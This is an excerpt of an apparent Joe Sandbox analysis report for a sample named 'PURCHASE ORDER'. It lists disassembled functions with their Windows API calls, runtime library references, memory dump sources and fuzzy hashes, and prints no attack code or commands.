                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: MessageSend$DestroyIcon
                                                                          • String ID:
                                                                          • API String ID: 3419509030-0
                                                                          • Opcode ID: a24bc400bf7eaff3d1708451a80103ed5292b50ec6011cebb58ec712c1110a53
                                                                          • Instruction ID: ba7c1cc62690e465ab1dcb48fa3e0f79152c3dc78d34179caeeeb49ed344ab69
                                                                          • Opcode Fuzzy Hash: a24bc400bf7eaff3d1708451a80103ed5292b50ec6011cebb58ec712c1110a53
                                                                          • Instruction Fuzzy Hash: 5F1182B15043449BE730DF14DC46BABB7E8FBC5714F00492EE6C857291D6B8A84A8B67
                                                                          Function 004175A2 Relevance: 7.5, APIs: 5, Instructions: 47COMMONLIBRARYCODE
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • __getptd.LIBCMT ref: 004175AE
                                                                            • Part of subcall function 00416C72: __getptd_noexit.LIBCMT ref: 00416C75
                                                                            • Part of subcall function 00416C72: __amsg_exit.LIBCMT ref: 00416C82
                                                                          • __amsg_exit.LIBCMT ref: 004175CE
                                                                          • __lock.LIBCMT ref: 004175DE
                                                                          • InterlockedDecrement.KERNEL32(?), ref: 004175FB
                                                                          • InterlockedIncrement.KERNEL32(00A32D08), ref: 00417626
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock
                                                                          • String ID:
                                                                          • API String ID: 4271482742-0
                                                                          • Opcode ID: 9041076209036267701916e3e7e7a5ecd924b858c75713c79b1599e88ef874d9
                                                                          • Instruction ID: de548182bd5f57d4f8c9f8a4c79293bfa6802d75d0085d2526eaa3c6a777046b
                                                                          • Opcode Fuzzy Hash: 9041076209036267701916e3e7e7a5ecd924b858c75713c79b1599e88ef874d9
                                                                          • Instruction Fuzzy Hash: 9401AD31944A11AFC710ABA998497CE7BB0BB11724F0540ABE80063791CB3CA9C1CFEE
                                                                          Function 004555B8 Relevance: 7.5, APIs: 5, Instructions: 45windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • DestroyWindow.USER32(?,?,?,?,?), ref: 00455640
                                                                          • DeleteObject.GDI32(?), ref: 0045564E
                                                                          • DeleteObject.GDI32(?), ref: 0045565C
                                                                          • DestroyIcon.USER32(?,?,?,?,?), ref: 0045566A
                                                                          • DestroyWindow.USER32(?,?,?,?,?), ref: 00455678
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: Destroy$DeleteObjectWindow$Icon
                                                                          • String ID:
                                                                          • API String ID: 4023252218-0
                                                                          • Opcode ID: 187bd120907745c88baacffad0920a9106e1cca1ea6db424662e0a83cd01c53e
                                                                          • Instruction ID: d1816f9fa450f538fb043821254e2bd2cfb9ade9207d957631f6d0e9d50691b6
                                                                          • Opcode Fuzzy Hash: 187bd120907745c88baacffad0920a9106e1cca1ea6db424662e0a83cd01c53e
                                                                          • Instruction Fuzzy Hash: 05015E70300605ABCB20DF65D9D4B2B77A8BF14712B50452AFD04D7346EB38EC48CB69
                                                                          Function 0046032B Relevance: 7.5, APIs: 5, Instructions: 43windowtimeCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • GetDlgItem.USER32(?,000003E9), ref: 00460342
                                                                          • GetWindowTextW.USER32(00000000,00000100,00000100), ref: 00460357
                                                                          • MessageBeep.USER32(00000000), ref: 0046036D
                                                                          • KillTimer.USER32(?,0000040A), ref: 00460392
                                                                          • EndDialog.USER32(?,00000001), ref: 004603AB
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: BeepDialogItemKillMessageTextTimerWindow
                                                                          • String ID:
                                                                          • API String ID: 3741023627-0
                                                                          • Opcode ID: 5e0545b8da8baa7cb8324f4116d33f6edaa60507eab9176a587cebaf75a8c25b
                                                                          • Instruction ID: 48c257e0c270193328064fa19c5b46d6a870d8092b70dfec968bdaebd9a60f08
                                                                          • Opcode Fuzzy Hash: 5e0545b8da8baa7cb8324f4116d33f6edaa60507eab9176a587cebaf75a8c25b
                                                                          • Instruction Fuzzy Hash: BE018831500300A7E7209B54DE5DBDB77A8BF44B05F00492EB681A25D0E7F8A584CB55
                                                                          Function 00455505 Relevance: 7.5, APIs: 5, Instructions: 43windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • SendMessageW.USER32(?,00001101,00000000,?), ref: 00455514
                                                                          • DeleteObject.GDI32(?), ref: 0045564E
                                                                          • DeleteObject.GDI32(?), ref: 0045565C
                                                                          • DestroyIcon.USER32(?,?,?,?,?), ref: 0045566A
                                                                          • DestroyWindow.USER32(?,?,?,?,?), ref: 00455678
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: DeleteDestroyObject$IconMessageSendWindow
                                                                          • String ID:
                                                                          • API String ID: 1489400265-0
                                                                          • Opcode ID: fb8346e1cf28bbdc4ad062342734fe1bacbf25b41774fd01ae6266dc65fad9d1
                                                                          • Instruction ID: 68d82c845863845e83b9d92669df32d5d1b96a6c2c0272d07869f65424c05900
                                                                          • Opcode Fuzzy Hash: fb8346e1cf28bbdc4ad062342734fe1bacbf25b41774fd01ae6266dc65fad9d1
                                                                          • Instruction Fuzzy Hash: D9014F703006419BDB10EF65DED8A2A73A9FB44712B40455AFE05DB286DB78EC49CB68
                                                                          Function 0045551F Relevance: 7.5, APIs: 5, Instructions: 42windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                            • Part of subcall function 0043343D: InvalidateRect.USER32(?,00000000,00000001), ref: 004334BE
                                                                          • DestroyWindow.USER32(?,?,?,?,?), ref: 00455640
                                                                          • DeleteObject.GDI32(?), ref: 0045564E
                                                                          • DeleteObject.GDI32(?), ref: 0045565C
                                                                          • DestroyIcon.USER32(?,?,?,?,?), ref: 0045566A
                                                                          • DestroyWindow.USER32(?,?,?,?,?), ref: 00455678
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: Destroy$DeleteObjectWindow$IconInvalidateRect
                                                                          • String ID:
                                                                          • API String ID: 1042038666-0
                                                                          • Opcode ID: 920ee65d6839c6288c76afce6441748d32e1b72318fe83d584ccefe2da360159
                                                                          • Instruction ID: 707d1f3050e1f0ff98422ce5efa9f9a4d3559fdafbc0a23101ed238e91bf2869
                                                                          • Opcode Fuzzy Hash: 920ee65d6839c6288c76afce6441748d32e1b72318fe83d584ccefe2da360159
                                                                          • Instruction Fuzzy Hash: B2014B702006419BCB10AF65D9C8A2A33ACAF19322780456AFD05D7242DB28EC498B79
                                                                          Function 0043315E Relevance: 7.5, APIs: 5, Instructions: 33COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: Path$ObjectStroke$DeleteFillSelect
                                                                          • String ID:
                                                                          • API String ID: 2625713937-0
                                                                          • Opcode ID: a89ec47609df172868659220a46891f09f78d761c189f4b7bb4a315096e7830c
                                                                          • Instruction ID: 1b0d13c7bbaa275692c81ef4a4760df4fcf6218f807946f7e03cce85d1463269
                                                                          • Opcode Fuzzy Hash: a89ec47609df172868659220a46891f09f78d761c189f4b7bb4a315096e7830c
                                                                          • Instruction Fuzzy Hash: F7F0A4751052019BD7508F18EC0C70E7FA8FB4F325F04462EEA19932E0DB781546CBAD
                                                                          Function 004140CF Relevance: 7.5, APIs: 5, Instructions: 24threadCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                            • Part of subcall function 00411A35: _doexit.LIBCMT ref: 00411A41
                                                                          • ___set_flsgetvalue.LIBCMT ref: 004140E1
                                                                            • Part of subcall function 00416A84: TlsGetValue.KERNEL32(00411739,00416C10,?,00411739,00417F28,00413979,?,?,00411739,?,00401C0B), ref: 00416A8D
                                                                            • Part of subcall function 00416A84: __decode_pointer.LIBCMT ref: 00416A9F
                                                                            • Part of subcall function 00416A84: TlsSetValue.KERNEL32(00000000,00411739,00417F28,00413979,?,?,00411739,?,00401C0B), ref: 00416AAE
                                                                          • ___fls_getvalue@4.LIBCMT ref: 004140EC
                                                                            • Part of subcall function 00416A64: TlsGetValue.KERNEL32(?,?,004140F1,00000000), ref: 00416A72
                                                                          • ___fls_setvalue@8.LIBCMT ref: 004140FF
                                                                            • Part of subcall function 00416AB8: __decode_pointer.LIBCMT ref: 00416AC9
                                                                          • GetLastError.KERNEL32(00000000,?,00000000), ref: 00414108
                                                                          • ExitThread.KERNEL32 ref: 0041410F
                                                                          • GetCurrentThreadId.KERNEL32 ref: 00414115
                                                                          • __freefls@4.LIBCMT ref: 00414135
                                                                          • __IsNonwritableInCurrentImage.LIBCMT ref: 00414148
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: Value$CurrentThread__decode_pointer$ErrorExitImageLastNonwritable___fls_getvalue@4___fls_setvalue@8___set_flsgetvalue__freefls@4_doexit
                                                                          • String ID:
                                                                          • API String ID: 132634196-0
                                                                          • Opcode ID: dbe0df41a3d89f03eebcd77cedb8c7fbd95cde8327ee68e759feca9a6a87dff2
                                                                          • Instruction ID: c6f54ac6c47f72d6c6be617d0ab0d95393642b3a08ca47198428750b18cc63fb
                                                                          • Opcode Fuzzy Hash: dbe0df41a3d89f03eebcd77cedb8c7fbd95cde8327ee68e759feca9a6a87dff2
                                                                          • Instruction Fuzzy Hash: EFE0B6318012096B8F0177F28E2A8DF3A2DAD56799B12842EBF10A3112DA6DD9D147AD
                                                                          Function 00415601 Relevance: 7.5, APIs: 5, Instructions: 23threadCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • __IsNonwritableInCurrentImage.LIBCMT ref: 00415610
                                                                            • Part of subcall function 00418540: __FindPESection.LIBCMT ref: 0041859B
                                                                          • __getptd_noexit.LIBCMT ref: 00415620
                                                                          • CloseHandle.KERNEL32(?,?,0041566B), ref: 00415634
                                                                          • __freeptd.LIBCMT ref: 0041563B
                                                                          • ExitThread.KERNEL32 ref: 00415643
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: CloseCurrentExitFindHandleImageNonwritableSectionThread__freeptd__getptd_noexit
                                                                          • String ID:
                                                                          • API String ID: 3798957060-0
                                                                          • Opcode ID: d3b08fe511e09ca6ea2d918a54b62a74066439bca0a0e456eaad9824bd7e2a02
                                                                          • Instruction ID: 5ad9b57b40d8b41da6f03c32f2a15b2799e0bbfe2e5ad1689210a27a588f1b2a
                                                                          • Opcode Fuzzy Hash: d3b08fe511e09ca6ea2d918a54b62a74066439bca0a0e456eaad9824bd7e2a02
                                                                          • Instruction Fuzzy Hash: 29E01A31501A1197C2212BB9AC097DE3255AF01F36F944A6EF81A952A0DB6CD98147AD
                                                                          Function 0041567F Relevance: 7.5, APIs: 5, Instructions: 22threadCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                            • Part of subcall function 00411A35: _doexit.LIBCMT ref: 00411A41
                                                                          • ___set_flsgetvalue.LIBCMT ref: 00415690
                                                                            • Part of subcall function 00416A84: TlsGetValue.KERNEL32(00411739,00416C10,?,00411739,00417F28,00413979,?,?,00411739,?,00401C0B), ref: 00416A8D
                                                                            • Part of subcall function 00416A84: __decode_pointer.LIBCMT ref: 00416A9F
                                                                            • Part of subcall function 00416A84: TlsSetValue.KERNEL32(00000000,00411739,00417F28,00413979,?,?,00411739,?,00401C0B), ref: 00416AAE
                                                                          • ___fls_getvalue@4.LIBCMT ref: 0041569B
                                                                            • Part of subcall function 00416A64: TlsGetValue.KERNEL32(?,?,004140F1,00000000), ref: 00416A72
                                                                          • ___fls_setvalue@8.LIBCMT ref: 004156AD
                                                                            • Part of subcall function 00416AB8: __decode_pointer.LIBCMT ref: 00416AC9
                                                                          • GetLastError.KERNEL32(00000000,?,00000000), ref: 004156B6
                                                                          • ExitThread.KERNEL32 ref: 004156BD
                                                                          • __freefls@4.LIBCMT ref: 004156D9
                                                                          • __IsNonwritableInCurrentImage.LIBCMT ref: 004156EC
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: Value$__decode_pointer$CurrentErrorExitImageLastNonwritableThread___fls_getvalue@4___fls_setvalue@8___set_flsgetvalue__freefls@4_doexit
                                                                          • String ID:
                                                                          • API String ID: 1537469427-0
                                                                          • Opcode ID: 99715b5f8e2ff19c7b8f3a2e2e0a417857e73ed83bc070766e6b29f9400adc7a
                                                                          • Instruction ID: 6f4b581ce684dac4bce1a6396b1ab204a3b2196504341234b7a244e47b3a25b0
                                                                          • Opcode Fuzzy Hash: 99715b5f8e2ff19c7b8f3a2e2e0a417857e73ed83bc070766e6b29f9400adc7a
                                                                          • Instruction Fuzzy Hash: 83E0E6308003096BCF0037F29E1A9DF392DAD41389B52841E7E14B2122DE6DD9D1466D
                                                                          Function 0040AB16 Relevance: 7.4, APIs: 2, Strings: 2, Instructions: 423COMMON
                                                                          Download Yara Rule
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: _malloc
                                                                          • String ID: Default$|k
                                                                          • API String ID: 1579825452-2254895183
                                                                          • Opcode ID: 7d4b54e2f039ee4215908d8410217bcf631a4cfeabbe095e8d1ce97298a1dede
                                                                          • Instruction ID: 39a525bc613f0e7e9485e4ea944b13d532e73913c0a35fc25f8fa2b96209a7b9
                                                                          • Opcode Fuzzy Hash: 7d4b54e2f039ee4215908d8410217bcf631a4cfeabbe095e8d1ce97298a1dede
                                                                          • Instruction Fuzzy Hash: 51F19F706083018BD714DF25C484A6BB7E5AF85314F64886FF885AB392D738EC55CB9B
                                                                          Function 0044F0B1 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 377COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: _memcmp
                                                                          • String ID: '$[$h
                                                                          • API String ID: 2931989736-1224472061
                                                                          • Opcode ID: b65a2ba19e68ffe8a11284d2d069350b2f2ae6a9059e42b54d6f98484e49560c
                                                                          • Instruction ID: c2eec353cbd26a418970a1643da97c958d9efd09d44d369c5aec2a2e92b02032
                                                                          • Opcode Fuzzy Hash: b65a2ba19e68ffe8a11284d2d069350b2f2ae6a9059e42b54d6f98484e49560c
                                                                          • Instruction Fuzzy Hash: EBE1B3756083858FE725CF28C8807ABBBE1FFC9304F18896EE89587341D7799849CB56
                                                                          Function 0044F1F5 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 358COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: _strncmp
                                                                          • String ID: >$R$U
                                                                          • API String ID: 909875538-1924298640
                                                                          • Opcode ID: f9ebc198af2ab7ab0819517e001d9756788144751dce64bc403378e3fae079f3
                                                                          • Instruction ID: f6794502b7c89560a677b30a08de70cb8bc1b17d125f16f135907c58c8460d8d
                                                                          • Opcode Fuzzy Hash: f9ebc198af2ab7ab0819517e001d9756788144751dce64bc403378e3fae079f3
                                                                          • Instruction Fuzzy Hash: 46E19C745083818FEB25CF29C49076BBBE1EFD9304F28496EE89587381D378E849CB56
                                                                          Function 0046CDA0 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 263comCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                            • Part of subcall function 00442C52: _wcslen.LIBCMT ref: 00442C82
                                                                          • CoInitialize.OLE32(00000000), ref: 0046CE18
                                                                          • CoCreateInstance.OLE32(00482A50,00000000,00000001,004828B0,?), ref: 0046CE31
                                                                          • CoUninitialize.OLE32 ref: 0046CE50
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: CreateInitializeInstanceUninitialize_wcslen
                                                                          • String ID: .lnk
                                                                          • API String ID: 886957087-24824748
                                                                          • Opcode ID: cf95cfa125c39178dc1728bd48ca6ee468afe444b27fb378bb5b47a8cf5920ff
                                                                          • Instruction ID: 09ec1e36491b9dee8eccbfa157b0fc1a83632a56aae6c10d58f94140378ad3aa
                                                                          • Opcode Fuzzy Hash: cf95cfa125c39178dc1728bd48ca6ee468afe444b27fb378bb5b47a8cf5920ff
                                                                          • Instruction Fuzzy Hash: D3A1ABB5A042019FC704EF64C980E6BB7E9EF88714F14895EF8849B392D735EC45CBA6
                                                                          Function 00469BED Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 219COMMON
                                                                          Download Yara Rule
                                                                          Strings
                                                                          • \\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs], xrefs: 00469C37
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: _wcslen
                                                                          • String ID: \\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs]
                                                                          • API String ID: 176396367-557222456
                                                                          • Opcode ID: 6ed3ee7040cf52f7c8cf58c24b37417f7719ae2cfab6dfb5b0d2deafceea8a2b
                                                                          • Instruction ID: 5ec49088f7a0f5eff408c40ec761cfb1cab3d77d8e9f1d748350f88cc39ab646
                                                                          • Opcode Fuzzy Hash: 6ed3ee7040cf52f7c8cf58c24b37417f7719ae2cfab6dfb5b0d2deafceea8a2b
                                                                          • Instruction Fuzzy Hash: 2C818F715183009FC310EF65C88186BB7E8AF85714F408A2FF5959B2A2E778ED45CB9B
                                                                          Function 0042D2CC Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 204COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                            • Part of subcall function 0041171A: _malloc.LIBCMT ref: 00411734
                                                                          • VariantInit.OLEAUT32(00000000), ref: 0042D2E0
                                                                          • VariantCopy.OLEAUT32(?,?), ref: 0042D2EE
                                                                          • VariantClear.OLEAUT32(00000000), ref: 0042D2FF
                                                                          Strings
                                                                          Memory Dump Source
